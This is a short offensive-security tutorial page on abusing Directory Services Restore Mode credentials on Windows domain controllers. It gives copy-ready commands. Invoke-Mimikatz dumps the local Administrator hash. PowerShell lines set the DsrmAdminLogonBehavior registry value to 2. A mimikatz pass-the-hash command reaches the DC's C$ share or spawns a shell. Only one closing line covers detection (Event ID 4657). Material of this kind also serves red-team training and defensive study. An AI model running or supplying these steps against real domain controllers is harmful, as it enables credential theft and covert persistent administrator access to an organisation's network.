DSRM Credentials

DSRM Credentials

There is a local administrator account inside each DC. Having admin privileges in this machine you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user. First we need to dump the hash of the local Administrator user inside the DC:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

Then we need to check if that account will work, and if the registry key has the value "0" or it doesn't exist you need to set it to "2":

Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2  #Change value to "2"

Then, using a PTH you can list the content of C$ or even obtain a shell. Notice that for creating a new powershell session with that hash in memory (for the PTH) the "domain" used is just the name of the DC machine:

sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
#And in new spawned powershell you now can access via NTLM the content of C$
ls \\dc-host-name\C$

More info about this in: https://adsecurity.org/?p=1714 and https://adsecurity.org/?p=1785

Mitigation

• Event ID 4657 - Audit creation/change of HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior